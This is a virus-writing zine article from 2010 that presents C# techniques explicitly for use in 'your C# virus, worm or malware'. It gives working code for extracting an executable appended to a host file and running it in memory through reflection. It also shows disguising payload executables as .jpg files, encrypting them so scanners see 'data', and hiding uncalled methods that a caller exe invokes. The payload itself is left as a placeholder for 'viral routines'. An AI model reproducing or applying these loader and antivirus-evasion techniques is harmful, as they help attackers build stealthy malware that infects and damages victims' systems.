return To index


Techniques in C#
----------------
alcopaul/brigada ocho
december 01, 2010

Intro
-----

It's been a while since I wrote a relaxed article. "Hello, interwebs."

Intro2
------

In this article, I will describe some interesting C# code snippets that you can use in your C# virus, worm or malware.
Some of the snippets were already described in articles of other virus writers but I'll try my best to present ways to
innovate from them. So, brace yourself..


I - Loading Host In Memory
--------------------------

In "Using the .NET runtime compiler for file infection" (which was published in EOF magazine), DiA introduced a snippet
that runs an exefile in memory by loading it as a byte array  (Too bad he wasn't able to use it in his final code
demonstration). I found it interesting and decided to play with it. Here it is.


// Snippet I
..
Assembly HostAsm = Assembly.Load(bytes);
MethodInfo HostMethod = HostAsm.EntryPoint;
HostMethod.Invoke(HostAsm.CreateInstance(HostMethod.Name), null);
..
//

While I was playing with it, I found out that it only worked when the loaded exefile is a Windows exe. when "bytes" is from
a windows console file, the code will throw a "Parameter count mismatch" exception. Luckily, a fix is for this is available.
Just replace "null" with "new object[] { args }". Or better you can use try{}, catch{} to contain the exception, say..


// Snippet II
..
Assembly HostAsm = Assembly.Load(bytes);
MethodInfo HostMethod = HostAsm.EntryPoint;
try
{
HostMethod.Invoke(HostAsm.CreateInstance(HostMethod.Name), null);  // if windows exe file
}
catch
{
HostMethod.Invoke(HostAsm.CreateInstance(HostMethod.Name), new object[] { args });  // if console exe file
}
..
//

This Is My Playground
----------------------

Just take note of the code below and i will describe how to innovate from it.

//====================================================================================================

//name:hhh.exe

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Reflection;
using System.IO;

namespace ReflectionInvoke
{
    class Program
    {
        static void Main(string[] args)
        {
            FileStream fs = new FileStream("c:\\ggg.exe", FileMode.OpenOrCreate, FileAccess.Read);
            byte[] bytes = Read(fs, ("ggg.exe").Length, 0); // replace ("ggg.exe").Length with number
            fs.Close();

            Assembly HostAsm = Assembly.Load(bytes);
            MethodInfo HostMethod = HostAsm.EntryPoint;
            try
            {
                HostMethod.Invoke(HostAsm.CreateInstance(HostMethod.Name), null);
            }
            //if console
            catch
            {
                HostMethod.Invoke(HostAsm.CreateInstance(HostMethod.Name), new object[] { args });
            }


        }
        public static byte[] Read(FileStream s, int length, int c)
        {
            BinaryReader w33 = new BinaryReader(s);
            w33.BaseStream.Seek(c, SeekOrigin.Begin);
            byte[] bytes2 = new byte[length];
            int numBytesToRead2 = (int)length;
            int numBytesRead2 = 0;
            while (numBytesToRead2 > 0)
            {
                int n = w33.Read(bytes2, numBytesRead2, numBytesToRead2);
                if (n == 0)
                    break;
                numBytesRead2 += n;
                numBytesToRead2 -= n;
            }
            w33.Close();
            return bytes2;
        }

    }
}
//===============================================================================================================

Say the above file is the a "header" and ggg.exe is the "body" of say a merged multicomponent file illustrated below.

===========
 hhh.exe
===========
 ggg.exe
===========

(note: ggg.exe is appended to hhh.exe)

We can modify hhh.exe to extract ggg.exe and execute it in memory.

// Snippet III
..
FileStream fs = new FileStream(Assembly.GetExecutingAssembly().GetModules()[0].FullyQualifiedName, FileMode.OpenOrCreate, FileAccess.Read);
byte[] bytes = Read(fs, (total size of hhh.exe and ggg.exe - size of hhh.exe), (size of hhh.exe));
fs.Close(); 
..
Assembly HostAsm = Assembly.Load(bytes);
MethodInfo HostMethod = HostAsm.EntryPoint;
try
{
HostMethod.Invoke(HostAsm.CreateInstance(HostMethod.Name), null);  // if windows exe file
}
catch
{
HostMethod.Invoke(HostAsm.CreateInstance(HostMethod.Name), new object[] { args });  // if console exe file
}
..
//

what is in ggg.exe? this may be viral routines that suit your wishes.

You can also include encryption and decryption routines (with variable keys) in hhh.exe to make ggg.exe polymorphic or make 
ggg.exe include routines that will make hhh.exe polymorphic (just like free0n's MSIL.Baldr which can be found in doomriderz 
zine but NOTE that free0n did it in a different way. if you want to see it, just check vx.netlux.org)..

But
---

But 1 question may arise. Is it possible for us to acquire a unique handle for files that are being executed in memory??

Say ggg.exe has the code snippet below,

//  Snippet IV
..
Assembly self = Assembly.GetExecutingAssembly();
Uri codeBaseUri = new Uri(self.CodeBase);
string path = codeBaseUri.LocalPath;
Console.WriteLine(path);
..
//

and hhh.exe executed ggg.exe in memory..

We can expect that ggg.exe will return  or "error" because it is executed in memory by another program but hey, self.CodeBase returns the program
that called ggg.exe. Yes, it will display the fully qualified name of hhh.exe in Console. 

With this as a result, we can say that ggg.exe "merged" with hhh.exe. Now, accessing hhh.exe (or hhh.exe+ggg.exe) from memory executed 
ggg.exe is possible.


II - MultiComponent - Executing "Data" Files
--------------------------------------------

What if we want to use hhh.exe in a different way? Say we have a multicomponent malware (And now when I say multicomponent I mean that
there are multiple files involved) and we just want to expose one file as an executable and others as "data". We can just
use hhh.exe to read "data" files and by "data" files i mean exe files renamed as something else.

Say we have ggg.exe as a separate file named "ggg.jpg"


// Snippet V
..
FileStream fs = new FileStream("ggg.jpg", FileMode.OpenOrCreate, FileAccess.Read);
byte[] bytes = Read(fs, ("ggg.jpg").Length, 0);
fs.Close(); 
..
Assembly HostAsm = Assembly.Load(bytes);
MethodInfo HostMethod = HostAsm.EntryPoint;
try
{
HostMethod.Invoke(HostAsm.CreateInstance(HostMethod.Name), null);  // if windows exe file
}
catch
{
HostMethod.Invoke(HostAsm.CreateInstance(HostMethod.Name), new object[] { args });  // if console exe file
}
..
//

Yes. ggg.jpg happily executes.

We can also encrypt ggg.jpg to simulate it as "data". (Yes, encrypted files are like data files under a virus scanner.)

III - ExeFiles Operating AS DLL files
-------------------------------------

Good thing about .NET is that exefile can be a dll file without making it a dll file. Prove that by just using the snippet below..

(note: c:\ggg.jpg is a .net exe file which will operate like a dll file)

// Snippet VI
..
FileStream fs = new FileStream("c:\\ggg.jpg", FileMode.OpenOrCreate, FileAccess.Read);
byte[] bytes = Read(fs, ("ggg.jpg").Length, 0);
fs.Close();
Assembly HostAsm = Assembly.Load(bytes);
Type type = HostAsm.GetType("reflectioninvoketarget.HHH");
var obj = Activator.CreateInstance(type);
type.InvokeMember("HH",
                  BindingFlags.Default | BindingFlags.InvokeMethod,
                  null,
                  obj,
                  null);
..
//

Here we read the bytes of "ggg.jpg" in memory, look for class "HHH" inside "reflectioninvoketarget" namespace and run "HH()"

Here's the code for c:\ggg.jpg

//================================================================
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Reflection;
using System.IO;

namespace reflectioninvoketarget
{
    class Program
    {
        static void Main(string[] args)
        {
            Assembly self = Assembly.GetExecutingAssembly();
            Uri codeBaseUri = new Uri(self.CodeBase);
            string path = codeBaseUri.LocalPath;
            Console.WriteLine(path);
            Console.ReadLine();
        }
    }
    class HHH
    {
        public static void HH()
        {
            Console.WriteLine("HELLO");
            Console.ReadLine();

            //Craft Header
        }

    }
}
//====================================================================

Executing Snippet VI will put "HELLO" to Console.

Innovation: we can hide different uncalled methods inside an exe file and 
just externally call them using a caller exe. I think it will be useful in multicomponent malware.


Outro
-----

I hope that you liked the article. Relaxed? Hehehehe.